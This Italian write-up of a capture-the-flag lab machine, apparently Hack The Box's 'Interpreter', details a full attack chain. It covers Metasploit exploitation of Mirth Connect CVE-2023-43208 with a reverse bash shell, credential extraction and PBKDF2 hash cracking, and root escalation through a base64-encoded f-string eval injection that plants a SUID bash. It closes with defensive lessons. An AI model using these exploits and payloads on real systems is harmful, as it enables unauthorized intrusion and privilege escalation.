Difficoltà: Medium
OS: Linux (Debian 12)
IP: 10.129.5.191
Categorie: CVE, Deserialization, Python Injection, Privilege Escalation
Indice
- Panoramica
- Ricognizione
- Foothold — CVE-2023-43208 (Mirth Connect RCE)
- Lateral Movement — Crack hash PBKDF2 e accesso SSH come
sedric - Privilege Escalation — Python F-String Injection su
notif.py - Lezioni Apprese
Panoramica
La macchina Interpreter simula un ambiente ospedaliero reale che utilizza Mirth Connect, un middleware per l’integrazione di dati sanitari (standard HL7). La catena di attacco si compone di tre fasi principali:
- RCE non autenticato tramite una vulnerabilità di deserializzazione XML in Mirth Connect (CVE-2023-43208).
- Lateral movement verso un utente con più privilegi, estraendo e craccando un hash PBKDF2-SHA256 dal database interno.
- Escalation a root sfruttando una doppia valutazione di f-string Python in un servizio locale che gira come root.
Ricognizione
Porte aperte
443/tcp — HTTPS (Mirth Connect)
80/tcp — HTTP
22/tcp — SSH
3306/tcp — MariaDB (localhost only)
54321/tcp — Servizio locale Python Flask (localhost only)
Mirth Connect è raggiungibile via HTTPS sulla porta 443.
Foothold — CVE-2023-43208 (Mirth Connect RCE)
Cos’è Mirth Connect?
Mirth Connect è un integration engine open source per dati sanitari, usato per trasformare e instradare messaggi HL7 tra sistemi ospedalieri. Espone una REST API su HTTPS.
La vulnerabilità
CVE-2023-43208 è un bypass di una patch incompleta (CVE-2023-37679). Il problema risiede in come Mirth Connect gestisce i dati XML in ingresso.
Flusso tecnico:
- Mirth Connect usa la libreria XStream per deserializzare XML in oggetti Java.
- Alcuni endpoint API (es.
/api/users) non richiedevano autenticazione nella versione 4.4.0. - XStream, per default, può essere manipolato per istanziare classi arbitrarie.
- Un attaccante può inviare un payload XML contenente una gadget chain — una sequenza di oggetti Java che, quando deserializzati, eseguono un comando di sistema.
La gadget chain sfrutta:
org.apache.commons.collections4.functors.ChainedTransformerorg.apache.commons.collections4.functors.InvokerTransformerjava.lang.Runtime.exec()per eseguire comandi shell
Exploitation con Metasploit
Il modulo MSF multi/http/mirth_connect_cve_2023_43208 automatizza l’attacco. Il parametro critico è FETCH_COMMAND wget, perché il target (Debian) ha wget ma non curl.
msf6 > use exploit/multi/http/mirth_connect_cve_2023_43208
msf6 > set RHOSTS 10.129.5.191
msf6 > set RPORT 443
msf6 > set TARGETURI https://10.129.5.191
msf6 > set FETCH_COMMAND wget
msf6 > set LHOST tun0
msf6 > set payload cmd/unix/reverse_bash
msf6 > run
Perché
cmd/unix/reverse_bashe non meterpreter?
I payload meterpreter staged (/) richiedono un secondo handshake TCP per scaricare lo “stage” (~3MB). Il target non riesce ad accettarlo. Il payloadcmd/unix/reverse_bashè una semplice reverse shell bash che non richiede download aggiuntivi, è più affidabile in ambienti con filtri di rete.
Risultato: shell come utente mirth.
Lateral Movement — Crack hash PBKDF2 e accesso SSH come sedric
Trovare le credenziali del database
Una volta dentro come mirth, il file di configurazione di Mirth Connect rivela le credenziali del database interno:
cat /usr/local/mirthconnect/conf/mirth.properties
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
Estrarre l’hash dal database
mysql -u mirthdb -p'MirthPass123!' -h localhost mc_bdd_prod
SELECT * FROM PERSON;
-- username: sedric
SELECT * FROM PERSON_PASSWORD;
-- PASSWORD: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
Analisi dell’hash
L’hash è in base64 e rappresenta 40 byte concatenati:
| Parte | Dimensione | Descrizione |
|---|---|---|
| Salt | 8 byte | Previene attacchi rainbow table |
| Derived Key | 32 byte | Output reale dell’hashing |
Algoritmo: PBKDF2-HMAC-SHA256 con 600.000 iterazioni.
Questo significa che per ogni tentativo di password, il computer deve eseguire 600.000 operazioni SHA-256. È computazionalmente costoso per proteggere password deboli… ma non abbastanza se la password è in rockyou.txt.
Convertire per Hashcat
python3 -c "
import base64
data = base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==')
salt = base64.b64encode(data[:8]).decode().rstrip('=')
dk = base64.b64encode(data[8:]).decode().rstrip('=')
print(f'sha256:600000:{salt}:{dk}')
" > hash_hashcat.txt
hashcat -m 10900 hash_hashcat.txt /usr/share/wordlists/rockyou.txt
Password trovata: snowflake1
Lezione chiave: Anche il miglior algoritmo di hashing (PBKDF2 con 600k iterazioni) non può proteggere una password debole presente in un dizionario comune. La scelta della password rimane il fattore umano più critico.
Accesso SSH
ssh [email protected]
# password: snowflake1
cat ~/user.txt
Privilege Escalation — Python F-String Injection su notif.py
Enumerazione
LinPEAS e l’analisi manuale rivelano:
- Un servizio root (
notif.service) gira su127.0.0.1:54321. - Il file
/usr/local/bin/notif.pyè leggibile dasedric.
cat /usr/local/bin/notif.py
Analisi del codice vulnerabile
Il server Flask espone un endpoint /addPatient che accetta XML. La funzione critica è template():
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
year_of_birth = int(dob.split('/')[-1])
# STEP 1: Crea un template con una f-string normale
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
# STEP 2: VULNERABILE — valuta il template come un'altra f-string
return eval(f"f'''{template}'''")
Perché è vulnerabile — Double Evaluation
STEP 1 — La prima f-string sostituisce direttamente le variabili nel testo. Se sender contiene {codice_python}, quel testo entra letteralmente nel template.
STEP 2 — La stringa risultante viene passata a eval() come un’altra f-string. In Python, tutto ciò che sta dentro {} in una f-string viene eseguito come codice. Quindi il {codice_python} iniettato al passo 1 viene eseguito qui con i privilegi di root.
Esempio semplificato:
# Input dell'attaccante nel campo sender:
sender = "{__import__('os').system('id')}"
# Dopo STEP 1, template diventa:
# "...received from {__import__('os').system('id')} at ..."
# STEP 2: eval esegue quella stringa come f-string
# → __import__('os').system('id') viene ESEGUITO come root
Il filtro regex e come bypassarlo
Il regex ^[a-zA-Z0-9._'"(){}=+/]+$ blocca:
- Spazi (impedisce comandi tipo
idcon argomenti) - Virgole
- Parentesi quadre
[] - Punto e virgola
Ma permette:
- Parentesi tonde
() - Virgolette
" - Slash
/ - Parentesi graffe
{}— necessarie per l’injection!
Bypass degli spazi: Siccome i comandi shell richiedono spazi (es. install -o root -m 4755 /bin/bash /tmp/.sh), usiamo Base64 per codificare il comando e base64.b64decode() per decodificarlo a runtime. Nessuno spazio nel payload, solo caratteri permessi dal regex.
Crafting del payload
Step 1 — Codifica il comando:
echo -n "install -o root -m 4755 /bin/bash /tmp/.sh" | base64
# aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo
Il comando
install -o root -m 4755 /bin/bash /tmp/.shcopia/bin/bashin/tmp/.shcon il bit SUID impostato. Un binario SUID eseguito con-pmantiene i privilegi del proprietario (root).
Step 2 — Costruisci il payload XML:
cat > /tmp/payload.xml << 'EOF'
<?xml version="1.0"?>
<patient>
<firstname>John</firstname>
<lastname>Doe</lastname>
<sender_app>{__import__("os").popen(__import__("base64").b64decode("aW5zdGFsbCAtbyByb290IC1tIDQ3NTUgL2Jpbi9iYXNoIC90bXAvLnNo").decode()).read()}</sender_app>
<timestamp>2026/02/23</timestamp>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>
EOF
Step 3 — Invia il payload:
wget -q -O- \
--post-file=/tmp/payload.xml \
--header="Content-Type: application/xml" \
http://localhost:54321/addPatient
Step 4 — Esegui la bash SUID:
ls -la /tmp/.sh # Verifica che esista con SUID
/tmp/.sh -p # -p mantiene i privilegi EUID=root
whoami # root
cat /root/root.txt # Flag!
Lezioni Apprese
1. Deserializzazione non sicura (CVE-2023-43208)
Non fidarsi mai di dati XML/JSON provenienti dall’esterno senza una whitelist rigorosa di classi deserializzabili. XStream e simili librerie devono essere configurate con allowlist esplicite. L’autenticazione non deve mai essere bypassabile per endpoint sensibili.
2. Credenziali in chiaro nei file di configurazione
Le password del database in mirth.properties erano in chiaro e leggibili. Usare segreti gestiti da vault (HashiCorp Vault, AWS Secrets Manager) o almeno variabili d’ambiente con permessi restrittivi.
3. Password deboli anche con hashing forte
PBKDF2 con 600.000 iterazioni è un ottimo algoritmo, ma snowflake1 è in rockyou.txt. L’algoritmo non può compensare una scelta di password debole. Imporre policy di complessità e usare un password manager.
4. eval() è pericoloso — mai usarlo su input utente
La doppia valutazione di f-string è un pattern particolarmente insidioso. La regola generale: mai usare eval(), exec(), o costrutti simili su dati controllati dall’utente, anche con filtri regex. I filtri sono quasi sempre bypassabili. Usare template engine sicuri (Jinja2 con autoescape, ecc.).
5. Il principio del minimo privilegio
notif.py girava come root senza necessità. Un servizio di notifica non ha bisogno di privilegi root. Eseguire i servizi con utenti dedicati a basso privilegio.
Writeup by: Maccioni Andrea
Data: Febbraio 2026